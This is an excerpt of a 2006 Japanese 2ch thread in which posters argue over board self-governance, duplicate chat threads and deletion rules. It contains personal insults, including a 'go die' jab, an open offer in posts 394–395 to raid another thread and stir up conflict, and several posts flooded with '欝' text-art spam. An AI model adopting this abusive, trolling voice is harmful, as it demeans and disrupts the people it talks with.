民間人って、根拠も出さずに妙なこと言い始めるなよ。

>>369
だな。

372 :同期の桜@極東 ◆DoukiJieKQ :2006/05/05(金) 09:22:55 ID:tR2QaNys
みんな朝から元気やね。

373 :船虫Jr ◆.Tg2yBtH66 :2006/05/05(金) 09:27:06 ID:QdyEoNUM
連行

http://tmp6.2ch.net/test/read.cgi/asia/1146764586/24名前: 船虫Jr ◆.Tg2yBtH66 投稿日: 2006/05/05(金) 09:25:07 ID:QdyEoNUM
http://tmp6.2ch.net/test/read.cgi/asia/1146764586/23
>削除要請理由にもあるように思想の話題は板違いです。

【国是】栄誉ある孤立化主義【鎖国】<[>
http://tmp6.2ch.net/test/read.cgi/asia/1138436970/l50
【軍靴の】何でも軍国主義に結びつけるスレ【響き】
http://tmp6.2ch.net/test/read.cgi/asia/1136704455/l50
韓国は「なぜ」反日か? その2
http://tmp6.2ch.net/test/read.cgi/asia/1146561964/l50
いわゆる「日本国憲法」は完全に無効だ。第三条
http://tmp6.2ch.net/test/read.cgi/asia/1145425342/l50
「韓国主義」-Koreanismという言葉を広げよう
http://tmp6.2ch.net/test/read.cgi/asia/1146116629/l50

ぱっと見ただけでも、思想的なスレはこれだけある。
いったい何を根拠に板違いだと言ってるの?

なお、これに対するレスは、

ニュース極東板暫定自治スレ3
http://tmp6.2ch.net/test/read.cgi/asia/1142521940/l50

↑こっちにしてくれ。
ーーーーーーーーーーーーーーーーーー

374 :船虫Jr ◆.Tg2yBtH66 :2006/05/05(金) 09:27:52 ID:QdyEoNUM
>>372
おまえも参加しろ。

375 :同期の桜@極東 ◆DoukiJieKQ :2006/05/05(金) 09:35:29 ID:tR2QaNys
>>374
えーマンドクセ

1つだけいうと
>>373
【軍靴の】何でも軍国主義に結びつけるスレ【響き】
http://tmp6.2ch.net/test/read.cgi/asia/1136704455/l50
はネタスレであって思想スレって呼ぶにはちと思想分足りないと思うけど。

そんだけー。

だいたいなー。構うから嬉々としてレスすんだから
レスしなきゃいいんだよ。
それが出来ないやつが多いからレスが伸びるの。
-------------------------------------------------------------------
それよりも船虫Jr
D4#2立てた彼らが消費前に
毛沢東の文化大革命
http://tmp6.2ch.net/test/read.cgi/asia/1146717454/
を立ててる訳だが。(どう見てもD4#2の後続スレにしか見えないんだが)

文革スレなら
ここだけ文化大革命
http://tmp6.2ch.net/test/read.cgi/asia/1146615711/
が少し前に立ってるわけで。

注意しにいかんでいいんか?

376 :船虫Jr ◆.Tg2yBtH66 :2006/05/05(金) 10:02:13 ID:QdyEoNUM
>>375
ネタは分かってるが思想のネタだろ?

>だいたいなー。構うから嬉々としてレスすんだから
>レスしなきゃいいんだよ。

誰のこと言ってるんだ?
というか、そういう、なーなーで自治するってのがダメだっての。
喜々としてレスするヤツだって極東板の住人だろ?
そういうヤツも対象にした議論をしなきゃ、
「原則全ての住人が参加する自治」にならんだろが。
分かるヤツだけ分かるじゃなくて、誰でも分かるように
物事はハッキリ言えよ。

>注意しにいかんでいいんか?

おまえ、そういう時こそ、おまえの出番じゃん。
彼らはただ雑談できるスレが欲しいわけだが、
ウダウダになってまで欲しいとは思ってない。
オレが行けばウダウダ議論になって
おまえの家に火がつくぞ(>>272-273)。

377 :同期の桜@極東 ◆DoukiJieKQ :2006/05/05(金) 10:22:32 ID:tR2QaNys
>>376
レスをしてるやつがレスを辞めなけりゃ永遠にスレなんて続くもんだぞ。
自治スレなんだから、そういうことを促すことも必要じゃろ。
どうする、こうするって議論を続けるよりは
自分たちでまず出来ることをやりましょう。それでも駄目なら話しましょってとこだろ。
何を話すかは疑問だが。

>オレが行けばウダウダ議論になって
>おまえの家に火がつくぞ(>>272-273)。
別に雑談しちゃいけねーって言ってるんじゃねーの。
いくらでも雑談してくれや。だから>>272-273については
何も言わんかったし、D4#2に1回も乗り込んでないだろ?

まず、毛沢東の文化大革命スレは
内容からするとD4#2との重複になるだろ?仮にそれがクリアされたとしても
今度はここだけ文化大革命に重複になるだろ?

2重に重複してるスレをおまいは見過ごすんかと。
それが言いたいだけなんだが。

D4#2をきっちり消費してから次スレ立てて(ただし、コテ名が入ってるのは駄目な)
雑談するなら文句も言わんよ。消費もせんうちから
どんどんスレ立てるんだったらそら迷惑行為になるじゃろ。

378 :日出づる処の名無し:2006/05/05(金) 21:02:03 ID:8APnEHLw
>>376ゴールデンウィークの朝っぱらから何やってんだよてめーは。
…ああ、引き篭もりだから今何日だとか何時だとか関係ないんだっけか。
野暮な事聞いてごめんなw

379 :日出づる処の名無し:2006/05/05(金) 22:40:04 ID:5oVUEnEG
>>376
>なーなーで自治するってのがダメだっての。

どうした?正論じゃんか

380 :船虫Jr ◆.Tg2yBtH66 :2006/05/05(金) 23:53:49 ID:0dwG/pdc
>>377 名前: 同期の桜@極東 ◆DoukiJieKQ
>レスをしてるやつがレスを辞めなけりゃ永遠にスレなんて続くもんだぞ。
>自治スレなんだから、そういうことを促すことも必要じゃろ。

だから、誰のことを言ってるわけ?
このスレ?あっちのスレ?
自覚的荒らしなら放置が妥当だが、そうでない勘違いとかだったら、
何も言わない方が延々とレスが続く。
どういうレスか分からなければ話にならんだろ?

>>オレが行けばウダウダ議論になって
>>おまえの家に火がつくぞ(>>272-273)。
>別に雑談しちゃいけねーって言ってるんじゃねーの。

おまえはぜんぜん話が読めてなかったのかよ。
オレ「雑談の場あってしかるべき」
おまえ「雑談はいいが、場所が悪い(重複)」
オレ「その場所なんだが、これまでの事情から“極東板雑談スレ”が適切なんだが」
こういう話だぞ?
それと、前々スレ(削除済み)に削除人が降臨したのは知ってるか?
その内容を踏まえて話してるんだぞ。
偽装スレじゃヤバイと。

>何も言わんかったし、D4#2に1回も乗り込んでないだろ?

だから逆だって。彼らは話し合う用意がある(>>273)。
おまえが友好的に行動しなきゃ、“雑談スレニッチ(2,3として容認される)”の
奪い合いになるし、当然、以前の件を含めてオレも介入することになる。
オレは批判コテだし、当事者じゃないんだから、オレが行動すれば
火が回るだけ。誰もがどうすりゃ解決できるのか分かってるんだから、
わざわざ火を付けて解決させる必要ないだろ?

381 :船虫Jr ◆.Tg2yBtH66 :2006/05/06(土) 00:00:37 ID:eGRS2t5X
一応言っておくが、

【毛沢東の文化大革命】
・重複だが、重複じゃなくてもヤバイ(偽装)。

・ところが単なる極東板雑談スレにすれば削除されない。

・極東板雑談スレを立てる。

・どっかのスレと重複

こういうことな(>>272-274)。
ここで言うニッチの分割とは重複を避けつつ、
両者ともに「容認される雑談スレ」にすること。
言うまでもオレは削除したいわけじゃないんだぞ。


382 :船虫Jr ◆.Tg2yBtH66 :2006/05/06(土) 00:01:43 ID:0dwG/pdc
>>379
オレはいつも正論だ、ハゲ。

383 :日出づる処の名無し:2006/05/06(土) 00:08:52 ID:NeKO9cdb
380 :ローカルあぼーん :ローカルあぼーん
ローカルあぼーん


381 :ローカルあぼーん :ローカルあぼーん
ローカルあぼーん


382 :ローカルあぼーん :ローカルあぼーん
ローカルあぼーん


384 :日出づる処の名無し:2006/05/06(土) 00:10:49 ID:NeKO9cdb
>>382ハゲハゲうるせぇぞ。
黙ってろハゲコンプレックスが。

385 :日出づる処の名無し:2006/05/06(土) 00:20:32 ID:X4sNw6aa
雑談スレを立てたいようだが、思想で分けたいような話になってるっぽいが、

右とか左とかで分類したところで、削除人がそれをNGといったらそれで終わり。
削除人なんか沢山いるし判断もその削除人次第の為、自治の話し合いだけでそういわれても
明文化していない以上、他板の常識である一話題1スレの原則が適用される可能性が高い。

ただ、まあ雑談スレ2分割が仮に違法だとしても?削除人が怠けて等で削除されないケースも多いし、
削除されなかったから認められたと誤認されるケースもあり、削除されなかったから違法では
ないと主張するのは無理。

したがってやりたい場合。例えば思想で雑談スレを分ける場合は他の板の通常と違うから
LR改正して正式に全ての削除人に分かるようにしなければ2スレ制度が保障される
可能性は少ない。

絶対にどの削除人にも削除されないようにするには、雑談スレに関する明文化が必要です。

ただ、これも荒らし等の緊急時を除いては民主主義の原則に基づき、住人の意向を
尊重し、雑談スレでの意見を何より尊重してそれを受けて自治が動く必要がある。




あと、ケザワのコテハンスレは即削除。これはどこでも同じ。偽装コテハンスレも同じ。

386 :同期の桜@極東 ◆DoukiJieKQ :2006/05/06(土) 00:59:50 ID:WLBYTrCX
>>380
>>273はどうみても今ある雑談についてのコメントじゃないわけだが。
あくまでも船虫Jr個人が雑談したいならって話だろ。

>彼らは話し合う用意がある。
話し合う用意があるならいつでもwelcomeなんだけど。
いつまでたっても来てくれないんだが・・・?
友好的に行動しろって言われてもなぁ。別に敵対的に行動をしてるわけじゃないし。

>>381
極東板サヨ雑談にでもすりゃーいいんじゃないか。(専用という風には出来ないが)
どう判断されるかはワカランが、雑談スレは2〜3認められてるわけだろ。(GL5)

ここで言う雑談の定義は特定の議論対象(食べ物も含む)を持たないスレな。

387 :日出づる処の名無し:2006/05/06(土) 03:12:40 ID:X4sNw6aa
ああ、フナ虫だけなんだ



河豚でも食って氏ねと伝えておいてくれ

388 :船虫Jr ◆.Tg2yBtH66 :2006/05/06(土) 18:53:35 ID:eGRS2t5X
>>386 名前: 同期の桜@極東 ◆DoukiJieKQ
おまえさー。いい加減理解してくれよ。

>>>273はどうみても今ある雑談についてのコメントじゃないわけだが。

今ある雑談(スレシリーズ)についてのコメントに決まってるだろ。
当時のことを知らないなら、素直にそう言え。

>あくまでも船虫Jr個人が雑談したいならって話だろ。

だから、オレ個人は雑談スレはいらない。
それに、オレはオレが介入しない方が丸く収まると思ってるわけ。
だが、ほっとけば、あるグループには雑談場所が認められて、
あるグループには認められないという状況になる可能性が高い(>>381)。
今、コテ入りと言うことで削除要請されているが、コテが入らなくても、
「ニュースあるいは議論以外」ということで削除対象になる。
オレは、オレもそうだが、ケザワは金正日とか西村真吾と同じ“有名人”だから、
当人についてのスレがあっても問題ないと思うが、現在の慣例ではそうなってない。
「ニュースあるいは議論以外」という偽装をしても、このレスもそうだが、
これだけ問題にされてりゃもはやバレバレ。
安住するには「板の雑談スレ」とするしかないだろ?
オレは、彼らのお仲間ではないが、おまえらが認められて彼らが認められないという
不公平な事態になれば、黙っていない。
こう言ってるわけ。
逆に言えば「おまえらが適切に対処にするなら、オレは黙ってるよ」ってこと。

389 :船虫Jr ◆.Tg2yBtH66 :2006/05/06(土) 18:54:44 ID:eGRS2t5X
>>386 名前: 同期の桜@極東 ◆DoukiJieKQ
>いつまでたっても来てくれないんだが・・・?

だから言ってるじゃん。彼らにしてみれば、
「メンドーなことするくらないなら、削除されていいよ」なんだよ。
で、削除されてから行動するのは、彼らではなくオレ。分かるだろ?

>極東板サヨ雑談にでもすりゃーいいんじゃないか。(専用という風には出来ないが)

オレは意味不明な「極東板雑談スレ(狼)、・・(鳩)」とか「(乙)、(甲)」とかの方がいいと思うが、
このへんは排他性禁止とか慣例に従っていれば何でもいい。

>ここで言う雑談の定義は特定の議論対象(食べ物も含む)を持たないスレな。

どういうわけか削除されない慣習のようだから(議論なんてしてないのに削除されない)、
対象を付けてもかまわないぞ。

>>387
だから違うって。
現状:削除は時間の問題。
オレ:住人ではないが、削除されたら雑談スレ議論(自治議論)を再開する用意がある。
そもそも、こんな対立の激しい板なのに、一つの「SAGE進行・コテばかり」の雑談スレで
「公共の雑談スレ」になるわけない。
これはオレが言い出したから出来た問題じゃなくて、潜在的にであるにせよ
以前から存在していた問題だろ?

390 :同期の桜@極東 ◆DoukiJieKQ :2006/05/06(土) 20:39:15 ID:yLil0J1z
>>389
>オレは意味不明な「極東板雑談スレ(狼)、・・(鳩)」とか「(乙)、(甲)」とかの方がいいと思うが、
>このへんは排他性禁止とか慣例に従っていれば何でもいい。
ん。それでいいんじゃないの。
それについてわしがなんか言うことじゃねーし。

このスレ↓乗っ取って雑談するでも構わんよーわしは。
◆◆◆ニュース極東板雑談スレ50◆◆◆
http://tmp6.2ch.net/test/read.cgi/asia/1144078416/

最近人があんまりいないんでな。雑談する人間なら誰がいつ来ても構わんし。
まともに議論したい人間だと困るがね。

つーか、当事者が来ないんじゃ話しにも何にもならんぞ。
自治スレで自治厨みたいなことしてるんだったら呼び出しくらいかけたらどうだ?
来るか来ないかは別としてそんくらいしても何も言われんじゃろ。

391 :同期の桜@極東 ◆DoukiJieKQ :2006/05/06(土) 20:47:24 ID:yLil0J1z
>>389
あ、もうひとつだけ。

立ててもいいけど、荒らされて気に入らないとかで
使い切る前に重複で立てるのは勘弁な。(出されたご飯は残さず食べるの原則)
お子ちゃまじゃねーんだから。

392 :日出づる処の名無し:2006/05/06(土) 21:35:40 ID:8kRnbn47
荒らされなくても、自分が主役になれないと重複立てちゃうからねぇ、この虫

393 :船虫Jr ◆.Tg2yBtH66 :2006/05/06(土) 22:09:02 ID:GB9F4UCQ
>>390 名前: 同期の桜@極東 ◆DoukiJieKQ
>それについてわしがなんか言うことじゃねーし。

おまえ当事者だろ?

>このスレ↓乗っ取って雑談するでも構わんよーわしは。

了解。スレ住人にもそう伝えといてくれ。

>最近人があんまりいないんでな。雑談する人間なら誰がいつ来ても構わんし。

違うよ。乗っ取られんだから、おまえらはいなくなるわけで、
雑談する必要などない。>>272-273を良く読め。

>自治スレで自治厨みたいなことしてるんだったら呼び出しくらいかけたらどうだ?

だからオレが動くのは最悪の状況になった後。
オレが動けばファンの荒らし君なんかが付いてくるの目に見えてるわけで、
わざわざ雑談場所の消失を促す道理はねーだろ?

それとさー。
あまり自覚はないようだが、荒らし君は明らかにおまえと同じ側(右側)だぞ?(>>18)。
おまえが動けば荒らしは防げるわけ。

>立ててもいいけど、荒らされて気に入らないとかで

なんて無責任なことをよく言えるな?

394 :船虫Jr ◆.Tg2yBtH66 :2006/05/06(土) 22:09:45 ID:GB9F4UCQ
いい? おまえは「船虫は議論したいだけ」と言ったが、
それなら、>>272-273において彼らの雑談場所が無くなることがオレにとって望ましいわけだろ?
それを理由に以前の議論を再開して、おまえの家を攻撃できる。
そんなオレがどうして円満解決を目指さないといけないわけ?
解決しちゃたら、攻撃の根拠がなくなるじゃねーか。
オレにしては、おまえにそう言われたからと、向こうのスレに乗り込んで、火を付け、
事実上雑談場所を奪うこともできる。オレは言われたとおりにやっただけだし、
一方が安住場所を持ち他方が安住場所がないという不公平があることは、既に生じていることだから、
今でも攻撃の大義はあるわけだよ?

どうする?やろうか?
ちょうど、乗っ取りも許可してくれたようだから、
その線で動こうか?

・「雑談スレの2スレ制度」、このこと自体には誰も異論はない。
・削除人が認めるかという懸念が表明されているが(>>385)、
 実際に複数の雑談スレがある板も多く(実はここもそう)、
 ルール上でも「2、3は認める」と明記されている。

問題はせいぜいタイトルをどうするか(左右・鳩鷹・甲乙・新元祖・・等々)くらいで、
当事者たちがその気なら普通に解決できることじゃん。
にもかかわらず、ほとんど批判専門のアンチコテ(オレ)にそれをやらそうとする。
議論したいってのは、おまえじゃないの?

395 :船虫Jr ◆.Tg2yBtH66 :2006/05/06(土) 22:13:27 ID:GB9F4UCQ
>>392
立てて欲しい?
乗っ取り可とか言ってるんだからオレが次スレ立てて問題起こそうか?

396 :日出づる処の名無し:2006/05/06(土) 22:23:48 ID:NeKO9cdb
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

397 :日出づる処の名無し:2006/05/06(土) 22:32:30 ID:NeKO9cdb
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


398 :同期の桜@極東 ◆DoukiJieKQ :2006/05/06(土) 23:43:48 ID:Vtot0GCJ
>>393
>おまえ当事者だろ?
向こうのスレの名前なんぞ知ったこっちゃない。

>違うよ。乗っ取られんだから、おまえらはいなくなるわけで、
>雑談する必要などない。>>272-273を良く読め。
何でいなくなるんだ?排他的使用法でもするんか?w
人に「お前らは排他的」とか言っておいてまさか自分がそんなことするわけはないよなぁw

>だからオレが動くのは最悪の状況になった後。
>オレが動けばファンの荒らし君なんかが付いてくるの目に見えてるわけで、
>わざわざ雑談場所の消失を促す道理はねーだろ?
最悪の状況って何だ?説明しとけ。
つーか、おまい4ヶ月も雑談の>>1についてやってたのに
「荒らし、厨房上等!」すら見てなかったのか?
今ある雑談の決まりくらい読んでおけや。
わしらは荒らしがこようが何だろうが雑談くらい出来るぞ。

>それとさー。
>あまり自覚はないようだが、荒らし君は明らかにおまえと同じ側(右側)だぞ?(>>18)。
>おまえが動けば荒らしは防げるわけ。
荒らしは荒らし。右だの左だのは関係ない。
おまいは右だから左だからで荒らしと荒らしじゃないで分けんのか?
んなことはないだろ。

わしが動くってのはレス削除依頼して
規制議論に報告しにいくだけだけど?(いきなり最終手段をとるがね)
わしがやめろって言ってやめる荒らしがいるのか?ずいぶん奇特な荒らしだな。

399 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 00:01:12 ID:SNXA3TrW
>>394
おまいさー
ごくとうさんがスレについて変えたかったらおまいが次スレ立てればいいだけのはなしっていってたのを
まったく聞いてなかったんか?ちょっとくらい人の話聞いたほうがいいぞ。

この4ヶ月間何もせず、今になってやろうか?とか言ってるわけだからなー。
そらー議論したいだけっても言われるわ。

さて閑話休題。
彼らの雑談場所がなくなる。わしらは特に困らんよ。
彼らが雑談になだれ込んできてもそれは構わないし、ちゃんと雑談(狼)立てても構わないし。

>そんなオレがどうして円満解決を目指さないといけないわけ?
おまいはさーじゃーなんでこの問題に絡んできてるわけ?
解決を目指さないやつが自治で何が出来るの?何にも出来るわけないだろ。

>解決しちゃたら、攻撃の根拠がなくなるじゃねーか。
攻撃するために自治にいるの?ただの荒らしって言うんだぞそれ。
そーかー。荒らしに成り下がってるとはおもわなんだ。

>オレにしては、おまえにそう言われたからと、向こうのスレに乗り込んで、火を付け、
>事実上雑談場所を奪うこともできる。オレは言われたとおりにやっただけだし、
おまい誰かになんか言われないと何も出来ないタイプ?
わしに言われたからとかで動くの?ふーん。じゃーおまいはわしに止めとけって言われたら
やめるの?やめるわけないよなぁwみすみすおいしいネタを捨てるようなもんだからねぇ。
そもそも、わしは向こうのスレに火をつけてこいなんて一言も言ってないんだけどねぇ。

>問題はせいぜいタイトルをどうするか(左右・鳩鷹・甲乙・新元祖・・等々)くらいで、
>当事者たちがその気なら普通に解決できることじゃん。
自治張ってるんだったら、話し合いに参加しろ!くらい言いに行けないわけ?
わしらは困ってないんだから、現状のままで構わんのよ?
にも拘らず、こうして出てきてるのに向こうに何にも言わないほうがおかしいだろ。そんなんじゃいる意味ないよ。

400 :日出づる処の名無し:2006/05/07(日) 11:40:54 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


401 :日出づる処の名無し:2006/05/07(日) 11:46:16 ID:9KZ13qqT
>オレが動けばファンの荒らし君
(゚д゚)ハァ?
妄想はほどほどにしてくださいね(゚∀゚ )
>おまえが動けば荒らしは防げるわけ。
(゚д゚)ハァ?
僕は僕のやりたいようにやるだけですよ(゚∀゚ )
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
